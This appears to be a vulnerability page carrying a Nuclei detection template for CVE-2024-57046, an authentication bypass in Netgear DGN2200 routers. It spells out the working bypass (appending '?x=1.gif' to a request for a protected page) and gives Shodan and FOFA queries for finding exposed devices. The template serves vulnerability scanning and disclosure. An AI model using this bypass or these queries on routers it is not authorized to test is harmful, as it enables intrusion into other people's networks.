A vulnerability in the Netgear DGN2200 router with firmware version v1.0.0.46 and earlier permits unauthorized individuals to bypass the authentication. When adding "?x=1.gif" to the requested url, it will be recognized as passing the authentication.
PoC代码[已公开]
id: CVE-2024-57046
info:
name: Netgear DGN2200 - Improper Authentication
author: ritikchaddha
severity: high
description: |
A vulnerability in the Netgear DGN2200 router with firmware version v1.0.0.46 and earlier permits unauthorized individuals to bypass the authentication. When adding "?x=1.gif" to the requested url, it will be recognized as passing the authentication.
reference:
- https://github.com/Shuanunio/CVE_Requests/blob/main/Netgear/DGN2200/ACL%20bypass%20Vulnerability%20in%20Netgear%20DGN2200.md
- https://www.netgear.com/about/security/
- https://nvd.nist.gov/vuln/detail/CVE-2024-57046
classification:
cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2024-57046
cwe-id: CWE-287
epss-score: 0.61371
epss-percentile: 0.98223
metadata:
verified: true
max-request: 2
vendor: Netgear
product: DGN2200
shodan-query: http.title:"DGN2200"
fofa-query: title="NETGEAR DGN2200"
tags: cve,cve2024,netgear,router,auth-bypass,dgn2200,vuln
http:
- raw:
- |
GET /RST_status.htm HTTP/1.1
Host: {{Hostname}}
- |
GET /RST_status.htm?x=1.gif HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body_2, "<title>Router Status", "Show Statistics")'
- 'status_code_1 == 401 && status_code_2 == 200'
condition: and
# digest: 4a0a00473045022100b70bd35a558288f923f68b9a61d6baffe5880072c18591945e2ea3d42949e39d02207c304ae1ee860a0f2cdf9851b5c929abfa6bf321f5a0fa58a3d67b5157b25070:922c64590222798bb761d5b6d8e72950